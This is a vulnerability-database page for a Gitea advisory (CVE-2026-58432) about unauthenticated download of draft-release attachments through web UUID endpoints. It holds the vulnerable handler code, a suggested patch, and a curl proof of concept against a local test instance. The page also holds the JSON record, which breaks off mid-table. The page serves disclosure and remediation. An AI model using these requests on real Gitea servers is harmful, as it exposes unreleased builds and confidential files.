Vulnerability-Lookup

CVE-2026-58432 (GCVE-0-2026-58432)

Vulnerability from cvelistv5 – Published: 2026-08-13 16:44 – Updated: 2026-08-13 16:44

Title

Missing Authorization and Authorization Bypass Through User-Controlled Key and Incorrect Permission Assignment for Critical Resource and Exposure of Sensitive Information to an Unauthorized Actor in code.gitea.io/gitea

Summary

Severity

No CVSS data available.

CWE

Assigner

Gitea

References

3 references

URL	Tags
https://github.com/go-gitea/gitea/security/adviso…	vendor-advisory
https://github.com/go-gitea/gitea/releases/tag/v1.27.0	release-notes
https://blog.gitea.com/gitea-1.27.0-is-released/	release-notes

Impacted products

1 product

Vendor	Product	Version
Gitea	Gitea Open Source Git Server	Affected: 0 , ≤ 1.26.4 (semver)

Credits

z3r0s6

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Gitea Open Source Git Server",
          "vendor": "Gitea",
          "versions": [
            {
              "lessThanOrEqual": "1.26.4",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "z3r0s6"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Missing Authorization and Authorization Bypass Through User-Controlled Key and Incorrect Permission Assignment for Critical Resource and Exposure of Sensitive Information to an Unauthorized Actor in code.gitea.io/gitea"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-200",
              "description": "CWE-200",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-639",
              "description": "CWE-639",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-732",
              "description": "CWE-732",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "CWE-862",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-13T16:44:50.340Z",
        "orgId": "88ee5874-cf24-4952-aea0-31affedb7ff2",
        "shortName": "Gitea"
      },
      "references": [
        {
          "name": "GitHub Security Advisory",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-q9pg-jj6x-j9p6"
        },
        {
          "name": "Gitea v1.27.0 Release",
          "tags": [
            "release-notes"
          ],
          "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
        },
        {
          "name": "Gitea v1.27.0 Release Blog Post",
          "tags": [
            "release-notes"
          ],
          "url": "https://blog.gitea.com/gitea-1.27.0-is-released/"
        }
      ],
      "title": "Missing Authorization and Authorization Bypass Through User-Controlled Key and Incorrect Permission Assignment for Critical Resource and Exposure of Sensitive Information to an Unauthorized Actor in code.gitea.io/gitea",
      "x_generator": {
        "engine": "cvelib 1.8.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "88ee5874-cf24-4952-aea0-31affedb7ff2",
    "assignerShortName": "Gitea",
    "cveId": "CVE-2026-58432",
    "datePublished": "2026-08-13T16:44:50.340Z",
    "dateReserved": "2026-06-30T18:57:20.615Z",
    "dateUpdated": "2026-08-13T16:44:50.340Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-58432\",\"sourceIdentifier\":\"88ee5874-cf24-4952-aea0-31affedb7ff2\",\"published\":\"2026-08-13T17:17:27.157\",\"lastModified\":\"2026-08-13T17:17:27.157\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Missing Authorization and Authorization Bypass Through User-Controlled Key and Incorrect Permission Assignment for Critical Resource and Exposure of Sensitive Information to an Unauthorized Actor in code.gitea.io/gitea\"}],\"affected\":[{\"source\":\"88ee5874-cf24-4952-aea0-31affedb7ff2\",\"affectedData\":[{\"vendor\":\"Gitea\",\"product\":\"Gitea Open Source Git Server\",\"defaultStatus\":\"unaffected\",\"versions\":[{\"version\":\"0\",\"lessThanOrEqual\":\"1.26.4\",\"versionType\":\"semver\",\"status\":\"affected\"}]}]}],\"metrics\":{},\"weaknesses\":[{\"source\":\"88ee5874-cf24-4952-aea0-31affedb7ff2\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-200\"},{\"lang\":\"en\",\"value\":\"CWE-639\"},{\"lang\":\"en\",\"value\":\"CWE-732\"},{\"lang\":\"en\",\"value\":\"CWE-862\"}]}],\"references\":[{\"url\":\"https://blog.gitea.com/gitea-1.27.0-is-released/\",\"source\":\"88ee5874-cf24-4952-aea0-31affedb7ff2\"},{\"url\":\"https://github.com/go-gitea/gitea/releases/tag/v1.27.0\",\"source\":\"88ee5874-cf24-4952-aea0-31affedb7ff2\"},{\"url\":\"https://github.com/go-gitea/gitea/security/advisories/GHSA-q9pg-jj6x-j9p6\",\"source\":\"88ee5874-cf24-4952-aea0-31affedb7ff2\"}]}}"
  }
}

GHSA-Q9PG-JJ6X-J9P6

Vulnerability from github – Published: 2026-07-21 20:19 – Updated: 2026-07-21 20:19

Summary

Gitea: draft release attachment disclosure via missing web authorization

Details

Summary

Gitea's draft-release access control is enforced only on the API release endpoints (/api/v1/repos/{owner}/{repo}/releases/{id} and its /assets/... sub-routes) but not on the web-level UUID-based attachment endpoints (/attachments/{uuid}, /{owner}/{repo}/attachments/{uuid}, /{owner}/{repo}/releases/attachments/{uuid}). Anyone (including unauthenticated callers) who has, learns, or otherwise obtains the UUID of an attachment belonging to a draft release can download its full contents, despite the draft release itself being correctly hidden from listings and direct-by-ID API lookups.

The browser_download_url field returned by the API (visible to anyone with write access to the repo) embeds the UUID. Forwarding this URL by email, log scrape, browser history, screenshot, or any side channel grants any recipient unauthenticated access to the attachment, indefinitely. This is the identical insider-leak threat model that Gitea fixed on the API surface in PR #36659 (CVE-2026-27660, Feb 2026) by adding canAccessReleaseDraft checks. The web mirror was missed.

Details

Root cause: the web-side handler ServeAttachment (routers/web/repo/attachment.go:122-203) checks only repo-level unit-read permission, never the IsDraft flag of the linked release:

// routers/web/repo/attachment.go:122-203, current implementation
func ServeAttachment(ctx *context.Context, uuid string) {
    attach, err := repo_model.GetAttachmentByUUID(ctx, uuid)
    if err != nil { ... }

    // cross-repo guard (only fires when accessed via repo-scoped URL)
    if attach.CreatedUnix > repo_model.LegacyAttachmentMissingRepoIDCutoff &&
       ctx.Repo.Repository != nil && ctx.Repo.Repository.ID != attach.RepoID {
        ctx.HTTPError(http.StatusNotFound)
        return
    }

    unitType, repoID, err := repo_service.GetAttachmentLinkedTypeAndRepoID(ctx, attach)
    if unitType == unit.TypeInvalid {
        if !(ctx.IsSigned && attach.UploaderID == ctx.Doer.ID) {
            ctx.HTTPError(http.StatusNotFound)
            return
        }
    } else {
        var perm access_model.Permission
        // ... resolves repo perm
        if !perm.CanRead(unitType) {       // <-- ONLY check
            ctx.HTTPError(http.StatusNotFound)
            return
        }
        // NO release.IsDraft check
        // NO canAccessReleaseDraft equivalent
    }
    // ... serves the file
}

The helper GetAttachmentLinkedTypeAndRepoID (services/repository/repository.go:185-207) returns (unit.TypeReleases, rel.RepoID) for release-linked attachments but discards the release object (including its IsDraft flag) before returning.

Mounted routes affected (all reach ServeAttachment via GetAttachment):

File:line	Route	Auth gate
`routers/web/web.go:874`	`GET /attachments/{uuid}` (top-level)	`optionsCorsHandler() + webAuth.AllowBasic + webAuth.AllowOAuth2`, accepts anonymous
`routers/web/web.go:1284`	`GET /{owner}/{repo}/attachments/{uuid}` (issue-context)	repo context, anonymous OK
`routers/web/web.go:1473`	`GET /{owner}/{repo}/releases/attachments/{uuid}` (release-context)	`webAuth.AllowBasic + webAuth.AllowOAuth2`, anonymous OK
`routers/web/web.go:1491`	`GET /{owner}/{repo}/attachments/{uuid}` (legacy compatibility)	`webAuth.AllowBasic + webAuth.AllowOAuth2`, anonymous OK

Reference: existing fix on the API surface (PR #36659, commit 1eced4a7c0, Feb 22 2026):

// routers/api/v1/repo/release.go:24-37, added by PR #36659
func canAccessReleaseDraft(ctx *context.APIContext) bool {
    if !ctx.IsSigned || !ctx.Repo.Permission.CanWrite(unit.TypeReleases) {
        return false
    }
    // ... API-token scope check
}

canAccessReleaseDraft is called from GetRelease (line 80), ListReleases (line 178), GetReleaseAttachment (release_attachment.go:37), and ListReleaseAttachments (line 148). Every API code path now gates draft visibility on write access. The web-side ServeAttachment was not updated; it continues to gate only on read access, allowing anonymous and non-collaborator reads.

Suggested patch at routers/web/repo/attachment.go:166-172, extending the existing permission check to also gate draft releases on write access:

} else { // linked attachment
    var perm access_model.Permission
    if ctx.Repo.Repository == nil {
        repo, err := repo_model.GetRepositoryByID(ctx, repoID)
        if err != nil { ... }
        perm, err = access_model.GetDoerRepoPermission(ctx, repo, ctx.Doer)
        if err != nil { ... }
    } else {
        perm = ctx.Repo.Permission
    }

    if !perm.CanRead(unitType) {
        ctx.HTTPError(http.StatusNotFound)
        return
    }

    // NEW: if linked to a draft release, require write access to releases
    if unitType == unit.TypeReleases && attach.ReleaseID != 0 {
        rel, err := repo_model.GetReleaseByID(ctx, attach.ReleaseID)
        if err == nil && rel.IsDraft && !perm.CanWrite(unit.TypeReleases) {
            ctx.HTTPError(http.StatusNotFound)
            return
        }
    }
}

Alternatively, GetAttachmentLinkedTypeAndRepoID could return the linked release object so the caller does not need a second DB read.

PoC

Tested against v1.27.0+dev-228-ga564f0587a (commit a564f0587a), default configuration, local-storage attachments.

Setup: - alice owns public repo alice/alice-pub - carol is a registered user with no relationship to alice (no collaboration, no org membership)

Step 1: alice creates a confidential draft release and uploads a sensitive file:

$ DRAFT=$(curl -s -H "Authorization: token $ALICE_TOKEN" -H 'Content-Type: application/json' \
    -d '{"tag_name":"v1.0-CONFIDENTIAL","target_commitish":"main",
         "name":"INTERNAL PREVIEW","body":"unreleased build",
         "draft":true,"prerelease":false}' \
    http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases)
$ DID=$(echo "$DRAFT" | jq -r .id)         # e.g. 15

$ echo "TOP_SECRET_BUILD_ARTIFACT" > confidential.txt
$ ATT=$(curl -s -H "Authorization: token $ALICE_TOKEN" \
    -F "attachment=@confidential.txt;filename=confidential.txt" \
    http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases/$DID/assets)
$ UUID=$(echo "$ATT" | jq -r .uuid)
$ ATT_ID=$(echo "$ATT" | jq -r .id)
# UUID: a4701819-6f12-42e4-82fb-14b2a1191e8a
# browser_download_url returned: http://127.0.0.1:3000/attachments/<UUID>

Step 2: non-collaborator carol cannot see the draft via the API (correct):

$ curl -s -o /dev/null -w '%{http_code}\n' \
    -H "Authorization: token $CAROL_TOKEN" \
    http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases/$DID/assets/$ATT_ID
404

Step 3: but carol (and even anonymous callers) CAN download via UUID-based web endpoints:

# (C) carol, top-level
$ curl -s -H "Authorization: token $CAROL_TOKEN" \
    http://127.0.0.1:3000/attachments/$UUID
TOP_SECRET_BUILD_ARTIFACT          # <-- 200 OK, full content

# (D) carol, repo-scoped legacy
$ curl -s -H "Authorization: token $CAROL_TOKEN" \
    http://127.0.0.1:3000/alice/alice-pub/attachments/$UUID
TOP_SECRET_BUILD_ARTIFACT          # <-- 200 OK

# (E) carol, release-scoped web
$ curl -s -H "Authorization: token $CAROL_TOKEN" \
    http://127.0.0.1:3000/alice/alice-pub/releases/attachments/$UUID
TOP_SECRET_BUILD_ARTIFACT          # <-- 200 OK

# (G) anonymous, top-level (NO auth header)
$ curl -s http://127.0.0.1:3000/attachments/$UUID
TOP_SECRET_BUILD_ARTIFACT          # <-- 200 OK, no auth needed at all

# (H) anonymous, repo-scoped legacy
$ curl -s http://127.0.0.1:3000/alice/alice-pub/attachments/$UUID
TOP_SECRET_BUILD_ARTIFACT          # <-- 200 OK

Verdict matrix:

Endpoint	Carol (auth, non-collab)	Anonymous
API `/api/v1/.../releases/{id}/assets/{aid}`	404 (gated)	404 (gated)
API `/api/v1/.../releases/{id}/assets`	404 (gated)	404 (gated)
Web `/attachments/{uuid}`	200 LEAKS	200 LEAKS
Web `/{owner}/{repo}/attachments/{uuid}`	200 LEAKS	200 LEAKS
Web `/{owner}/{repo}/releases/attachments/{uuid}`	200 LEAKS	200 LEAKS
Web `browser_download_url` (as returned by API)	200 LEAKS	200 LEAKS

Impact

Vulnerability class: Missing authorization (CWE-862) on a parallel code path that was overlooked when the same authorization check was added in a separate handler. This is an incomplete fix for CVE-2026-27660.

Why this is an exploitable vulnerability, not a "configure it differently" issue:

The Gitea draft-release feature exists for exactly one purpose: stage release content that is not yet meant to be public. The fix in PR #36659 (CVE-2026-27660) explicitly stated "Draft release and its attachments need a write permission to access" and accordingly gated GET /api/v1/repos/.../releases/{id} and GET /api/v1/repos/.../releases/{id}/assets/{aid} behind canAccessReleaseDraft. The web-side ServeAttachment handler (which is reachable from three separate routes on the same host as the API and serves the same underlying attachment object) was not updated. The result is that the security promise communicated to operators ("draft attachments are visible only to repo writers") is silently false on the web URLs that the API itself hands out in browser_download_url.

The maintainer cannot reframe this as "UUID is a capability token" because Gitea has already explicitly rejected that model on the API surface for this exact resource class two months ago. The threat model is identical; only the handler is different.

Real-world content that leaks under this bug:

Draft releases are routinely used to stage:

Pre-release signed binaries (Windows MSIs, macOS notarized DMGs, Linux RPM/DEB) before publication: unauthenticated download of unannounced builds.
Security-fix release candidates: pre-disclosure window for downstream patching, exploitable if the binary diff reveals the bug.
Internal SBOMs, signing manifests, third-party license bundles: supply-chain reconnaissance.
Release-key public-blob bundles, attestation files: key-rotation tracking by external observers.
Build artifacts pinned to draft tags by CI pipelines that publish-on-merge: access to artifacts the release engineer hasn't decided to ship.
CHANGELOG / release-notes drafts: pre-disclosure of upcoming features or vulns.

These are not hypothetical use cases. They are the documented and intended use of the draft-release feature on every git forge.

Realistic attack scenarios (insider-leak threat model, same as CVE-2026-27660):

Browser-UI "Copy link" causes the URL to leave the trust boundary. A release engineer is preparing the next release and copies the browser_download_url to test the binary on a fresh VM, then pastes it into a Slack thread, a Jira ticket, an email to QA, or a commit message ("# binary: $URL"). Anyone who later reads that channel (including ex-employees, contractors who lost write access, or anyone scraping public Slack archives) has anonymous, unauthenticated, indefinite access to the draft binary.
Reverse-proxy or observability stack records the URL. nginx, Caddy, HAProxy, Cloudflare, Datadog, Splunk, ELK: any HTTP-instrumentation pipeline records request paths. Anyone with log read access can extract UUIDs and pull the underlying attachment without authenticating to Gitea at all. For ELT pipelines that copy logs to cloud buckets or data lakes, that read access can be very broad.
Browser history, Referer, extension telemetry. Once an authorized user downloads a draft attachment, the UUID-bearing URL lives in browser history, optional cloud-synced history (Chrome Sync, Edge Sync, Firefox Sync, recoverable on any signed-in device), browser extension telemetry, and any Referer header sent if the URL is loaded in a frame or via an inline asset.
Search-engine and mirror indexing. Internal portals, asset inventories, dependency scanners, and SaaS supply-chain tools that follow browser_download_url to index release artifacts will index the draft URL just like a published one. Once indexed, the URL is discoverable for as long as the index lives.
Embedded links in public content. A draft-release-attachment URL pasted into an issue comment, a PR description, a wiki page, or a README is rendered as a clickable <a href> to any reader of that public page. Readers don't see the draft release itself but get the attachment behind the link they click.

Severity calibration via direct precedent:

Property	CVE-2026-27660 (this finding's API mirror)	This finding
Vulnerability class	Missing authorization on draft release	Missing authorization on draft release attachments
Attack vector	Network	Network
Privileges required	None (relies on UUID/ID being leaked)	None (relies on UUID being leaked)
Attack complexity	High (must obtain UUID/ID)	High (must obtain UUID)
Confidentiality	High	High
Integrity / Availability	None	None
Fix complexity	~5-line authz check added at handler entry	~5-line authz check added at handler entry
Severity assigned by upstream	Medium	Should be Medium (5.9) by direct precedent

If CVE-2026-27660 was accepted as a Medium-severity security advisory worth a dedicated PR, an identical bug in the web mirror of the same data is also Medium-severity. The maintainer cannot consistently rate this lower without retroactively downgrading their own previous fix.

CVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N = 5.9 / Medium

AV:N: reachable over the network.
AC:H: attacker must obtain the UUID via a leak channel (same prerequisite class as the upstream CVE).
PR:N: no authentication required (anonymous works).
UI:N: no user interaction required.
S:U: scope unchanged (still bounded to Gitea's auth boundary; the draft release was supposed to be inside that boundary but isn't).
C:H: full confidentiality breach of the attachment contents.
I:N / A:N: read-only.

Out of scope: brute-forcing the UUID is infeasible (122 bits of UUIDv4 entropy). This is a confidentiality-loss bug, not an integrity or availability bug.

Deployment scale: Gitea is a top-three self-hosted forge (~30 k+ public Internet-reachable instances per Shodan, plus very large numbers of internal corporate deployments and Codeberg / Forgejo derivatives that inherit the same code). The bug is present in the default configuration; no operator action is required to make a deployment vulnerable.

Fix complexity: trivial. Add a release.IsDraft && !perm.CanWrite(unit.TypeReleases) check in ServeAttachment (single function, ~5 lines added). Patch is provided in the Details section. No data migration, no UX change, no breaking-API change.

Severity

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-58432"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-639",
      "CWE-732",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T20:19:25Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nGitea\u0027s draft-release access control is enforced only on the API release endpoints (`/api/v1/repos/{owner}/{repo}/releases/{id}` and its `/assets/...` sub-routes) but not on the web-level UUID-based attachment endpoints (`/attachments/{uuid}`, `/{owner}/{repo}/attachments/{uuid}`, `/{owner}/{repo}/releases/attachments/{uuid}`). Anyone (including unauthenticated callers) who has, learns, or otherwise obtains the UUID of an attachment belonging to a draft release can download its full contents, despite the draft release itself being correctly hidden from listings and direct-by-ID API lookups.\n\nThe `browser_download_url` field returned by the API (visible to anyone with write access to the repo) embeds the UUID. Forwarding this URL by email, log scrape, browser history, screenshot, or any side channel grants any recipient unauthenticated access to the attachment, indefinitely. This is the identical insider-leak threat model that Gitea fixed on the API surface in PR #36659 (CVE-2026-27660, Feb 2026) by adding `canAccessReleaseDraft` checks. The web mirror was missed.\n\n### Details\n\n**Root cause:** the web-side handler `ServeAttachment` (`routers/web/repo/attachment.go:122-203`) checks only repo-level unit-read permission, never the `IsDraft` flag of the linked release:\n\n```go\n// routers/web/repo/attachment.go:122-203, current implementation\nfunc ServeAttachment(ctx *context.Context, uuid string) {\n    attach, err := repo_model.GetAttachmentByUUID(ctx, uuid)\n    if err != nil { ... }\n\n    // cross-repo guard (only fires when accessed via repo-scoped URL)\n    if attach.CreatedUnix \u003e repo_model.LegacyAttachmentMissingRepoIDCutoff \u0026\u0026\n       ctx.Repo.Repository != nil \u0026\u0026 ctx.Repo.Repository.ID != attach.RepoID {\n        ctx.HTTPError(http.StatusNotFound)\n        return\n    }\n\n    unitType, repoID, err := repo_service.GetAttachmentLinkedTypeAndRepoID(ctx, attach)\n    if unitType == unit.TypeInvalid {\n        if !(ctx.IsSigned \u0026\u0026 attach.UploaderID == ctx.Doer.ID) {\n            ctx.HTTPError(http.StatusNotFound)\n            return\n        }\n    } else {\n        var perm access_model.Permission\n        // ... resolves repo perm\n        if !perm.CanRead(unitType) {       // \u003c-- ONLY check\n            ctx.HTTPError(http.StatusNotFound)\n            return\n        }\n        // NO release.IsDraft check\n        // NO canAccessReleaseDraft equivalent\n    }\n    // ... serves the file\n}\n```\n\nThe helper `GetAttachmentLinkedTypeAndRepoID` (`services/repository/repository.go:185-207`) returns `(unit.TypeReleases, rel.RepoID)` for release-linked attachments but discards the release object (including its `IsDraft` flag) before returning.\n\n**Mounted routes affected** (all reach `ServeAttachment` via `GetAttachment`):\n\n| File:line | Route | Auth gate |\n|---|---|---|\n| `routers/web/web.go:874` | `GET /attachments/{uuid}` (top-level) | `optionsCorsHandler() + webAuth.AllowBasic + webAuth.AllowOAuth2`, accepts anonymous |\n| `routers/web/web.go:1284` | `GET /{owner}/{repo}/attachments/{uuid}` (issue-context) | repo context, anonymous OK |\n| `routers/web/web.go:1473` | `GET /{owner}/{repo}/releases/attachments/{uuid}` (release-context) | `webAuth.AllowBasic + webAuth.AllowOAuth2`, anonymous OK |\n| `routers/web/web.go:1491` | `GET /{owner}/{repo}/attachments/{uuid}` (legacy compatibility) | `webAuth.AllowBasic + webAuth.AllowOAuth2`, anonymous OK |\n\n**Reference: existing fix on the API surface (PR #36659, commit `1eced4a7c0`, Feb 22 2026):**\n\n```go\n// routers/api/v1/repo/release.go:24-37, added by PR #36659\nfunc canAccessReleaseDraft(ctx *context.APIContext) bool {\n    if !ctx.IsSigned || !ctx.Repo.Permission.CanWrite(unit.TypeReleases) {\n        return false\n    }\n    // ... API-token scope check\n}\n```\n\n`canAccessReleaseDraft` is called from `GetRelease` (line 80), `ListReleases` (line 178), `GetReleaseAttachment` (`release_attachment.go:37`), and `ListReleaseAttachments` (line 148). Every API code path now gates draft visibility on **write access**. The web-side `ServeAttachment` was not updated; it continues to gate only on **read access**, allowing anonymous and non-collaborator reads.\n\n**Suggested patch** at `routers/web/repo/attachment.go:166-172`, extending the existing permission check to also gate draft releases on write access:\n\n```go\n} else { // linked attachment\n    var perm access_model.Permission\n    if ctx.Repo.Repository == nil {\n        repo, err := repo_model.GetRepositoryByID(ctx, repoID)\n        if err != nil { ... }\n        perm, err = access_model.GetDoerRepoPermission(ctx, repo, ctx.Doer)\n        if err != nil { ... }\n    } else {\n        perm = ctx.Repo.Permission\n    }\n\n    if !perm.CanRead(unitType) {\n        ctx.HTTPError(http.StatusNotFound)\n        return\n    }\n\n    // NEW: if linked to a draft release, require write access to releases\n    if unitType == unit.TypeReleases \u0026\u0026 attach.ReleaseID != 0 {\n        rel, err := repo_model.GetReleaseByID(ctx, attach.ReleaseID)\n        if err == nil \u0026\u0026 rel.IsDraft \u0026\u0026 !perm.CanWrite(unit.TypeReleases) {\n            ctx.HTTPError(http.StatusNotFound)\n            return\n        }\n    }\n}\n```\n\nAlternatively, `GetAttachmentLinkedTypeAndRepoID` could return the linked release object so the caller does not need a second DB read.\n\n### PoC\n\nTested against `v1.27.0+dev-228-ga564f0587a` (commit `a564f0587a`), default configuration, local-storage attachments.\n\n**Setup:**\n- `alice` owns public repo `alice/alice-pub`\n- `carol` is a registered user with no relationship to `alice` (no collaboration, no org membership)\n\n**Step 1: alice creates a confidential draft release and uploads a sensitive file:**\n\n```bash\n$ DRAFT=$(curl -s -H \"Authorization: token $ALICE_TOKEN\" -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"tag_name\":\"v1.0-CONFIDENTIAL\",\"target_commitish\":\"main\",\n         \"name\":\"INTERNAL PREVIEW\",\"body\":\"unreleased build\",\n         \"draft\":true,\"prerelease\":false}\u0027 \\\n    http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases)\n$ DID=$(echo \"$DRAFT\" | jq -r .id)         # e.g. 15\n\n$ echo \"TOP_SECRET_BUILD_ARTIFACT\" \u003e confidential.txt\n$ ATT=$(curl -s -H \"Authorization: token $ALICE_TOKEN\" \\\n    -F \"attachment=@confidential.txt;filename=confidential.txt\" \\\n    http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases/$DID/assets)\n$ UUID=$(echo \"$ATT\" | jq -r .uuid)\n$ ATT_ID=$(echo \"$ATT\" | jq -r .id)\n# UUID: a4701819-6f12-42e4-82fb-14b2a1191e8a\n# browser_download_url returned: http://127.0.0.1:3000/attachments/\u003cUUID\u003e\n```\n\n**Step 2: non-collaborator carol cannot see the draft via the API (correct):**\n\n```bash\n$ curl -s -o /dev/null -w \u0027%{http_code}\\n\u0027 \\\n    -H \"Authorization: token $CAROL_TOKEN\" \\\n    http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases/$DID/assets/$ATT_ID\n404\n```\n\n**Step 3: but carol (and even anonymous callers) CAN download via UUID-based web endpoints:**\n\n```bash\n# (C) carol, top-level\n$ curl -s -H \"Authorization: token $CAROL_TOKEN\" \\\n    http://127.0.0.1:3000/attachments/$UUID\nTOP_SECRET_BUILD_ARTIFACT          # \u003c-- 200 OK, full content\n\n# (D) carol, repo-scoped legacy\n$ curl -s -H \"Authorization: token $CAROL_TOKEN\" \\\n    http://127.0.0.1:3000/alice/alice-pub/attachments/$UUID\nTOP_SECRET_BUILD_ARTIFACT          # \u003c-- 200 OK\n\n# (E) carol, release-scoped web\n$ curl -s -H \"Authorization: token $CAROL_TOKEN\" \\\n    http://127.0.0.1:3000/alice/alice-pub/releases/attachments/$UUID\nTOP_SECRET_BUILD_ARTIFACT          # \u003c-- 200 OK\n\n# (G) anonymous, top-level (NO auth header)\n$ curl -s http://127.0.0.1:3000/attachments/$UUID\nTOP_SECRET_BUILD_ARTIFACT          # \u003c-- 200 OK, no auth needed at all\n\n# (H) anonymous, repo-scoped legacy\n$ curl -s http://127.0.0.1:3000/alice/alice-pub/attachments/$UUID\nTOP_SECRET_BUILD_ARTIFACT          # \u003c-- 200 OK\n```\n\n**Verdict matrix:**\n\n| Endpoint | Carol (auth, non-collab) | Anonymous |\n|---|---|---|\n| API `/api/v1/.../releases/{id}/assets/{aid}` | 404 (gated) | 404 (gated) |\n| API `/api/v1/.../releases/{id}/assets` | 404 (gated) | 404 (gated) |\n| Web `/attachments/{uuid}` | **200 LEAKS** | **200 LEAKS** |\n| Web `/{owner}/{repo}/attachments/{uuid}` | **200 LEAKS** | **200 LEAKS** |\n| Web `/{owner}/{repo}/releases/attachments/{uuid}` | **200 LEAKS** | **200 LEAKS** |\n| Web `browser_download_url` (as returned by API) | **200 LEAKS** | **200 LEAKS** |\n\n### Impact\n\n**Vulnerability class:** Missing authorization (CWE-862) on a parallel code path that was overlooked when the same authorization check was added in a separate handler. This is an **incomplete fix for CVE-2026-27660**.\n\n**Why this is an exploitable vulnerability, not a \"configure it differently\" issue:**\n\nThe Gitea draft-release feature exists for exactly one purpose: stage release content that is not yet meant to be public. The fix in PR #36659 (CVE-2026-27660) explicitly stated *\"Draft release and its attachments need a write permission to access\"* and accordingly gated `GET /api/v1/repos/.../releases/{id}` and `GET /api/v1/repos/.../releases/{id}/assets/{aid}` behind `canAccessReleaseDraft`. The web-side `ServeAttachment` handler (which is reachable from three separate routes on the same host as the API and serves the same underlying attachment object) was not updated. The result is that the security promise communicated to operators (\"draft attachments are visible only to repo writers\") is silently false on the web URLs that the API itself hands out in `browser_download_url`.\n\nThe maintainer cannot reframe this as \"UUID is a capability token\" because Gitea has already explicitly **rejected** that model on the API surface for this exact resource class two months ago. The threat model is identical; only the handler is different.\n\n**Real-world content that leaks under this bug:**\n\nDraft releases are routinely used to stage:\n\n- **Pre-release signed binaries** (Windows MSIs, macOS notarized DMGs, Linux RPM/DEB) before publication: unauthenticated download of unannounced builds.\n- **Security-fix release candidates**: pre-disclosure window for downstream patching, exploitable if the binary diff reveals the bug.\n- **Internal SBOMs, signing manifests, third-party license bundles**: supply-chain reconnaissance.\n- **Release-key public-blob bundles, attestation files**: key-rotation tracking by external observers.\n- **Build artifacts pinned to draft tags by CI pipelines that publish-on-merge**: access to artifacts the release engineer hasn\u0027t decided to ship.\n- **CHANGELOG / release-notes drafts**: pre-disclosure of upcoming features or vulns.\n\nThese are not hypothetical use cases. They are the documented and intended use of the draft-release feature on every git forge.\n\n**Realistic attack scenarios (insider-leak threat model, same as CVE-2026-27660):**\n\n1. **Browser-UI \"Copy link\" causes the URL to leave the trust boundary.** A release engineer is preparing the next release and copies the `browser_download_url` to test the binary on a fresh VM, then pastes it into a Slack thread, a Jira ticket, an email to QA, or a commit message (\"`# binary: $URL`\"). Anyone who later reads that channel (including ex-employees, contractors who lost write access, or anyone scraping public Slack archives) has anonymous, unauthenticated, indefinite access to the draft binary.\n\n2. **Reverse-proxy or observability stack records the URL.** nginx, Caddy, HAProxy, Cloudflare, Datadog, Splunk, ELK: any HTTP-instrumentation pipeline records request paths. Anyone with log read access can extract UUIDs and pull the underlying attachment without authenticating to Gitea at all. For ELT pipelines that copy logs to cloud buckets or data lakes, that read access can be very broad.\n\n3. **Browser history, Referer, extension telemetry.** Once an authorized user downloads a draft attachment, the UUID-bearing URL lives in browser history, optional cloud-synced history (Chrome Sync, Edge Sync, Firefox Sync, recoverable on any signed-in device), browser extension telemetry, and any `Referer` header sent if the URL is loaded in a frame or via an inline asset.\n\n4. **Search-engine and mirror indexing.** Internal portals, asset inventories, dependency scanners, and SaaS supply-chain tools that follow `browser_download_url` to index release artifacts will index the draft URL just like a published one. Once indexed, the URL is discoverable for as long as the index lives.\n\n5. **Embedded links in public content.** A draft-release-attachment URL pasted into an issue comment, a PR description, a wiki page, or a README is rendered as a clickable `\u003ca href\u003e` to any reader of that public page. Readers don\u0027t see the draft release itself but get the attachment behind the link they click.\n\n**Severity calibration via direct precedent:**\n\n| Property | CVE-2026-27660 (this finding\u0027s API mirror) | This finding |\n|---|---|---|\n| Vulnerability class | Missing authorization on draft release | Missing authorization on draft release attachments |\n| Attack vector | Network | Network |\n| Privileges required | None (relies on UUID/ID being leaked) | None (relies on UUID being leaked) |\n| Attack complexity | High (must obtain UUID/ID) | High (must obtain UUID) |\n| Confidentiality | High | High |\n| Integrity / Availability | None | None |\n| Fix complexity | ~5-line authz check added at handler 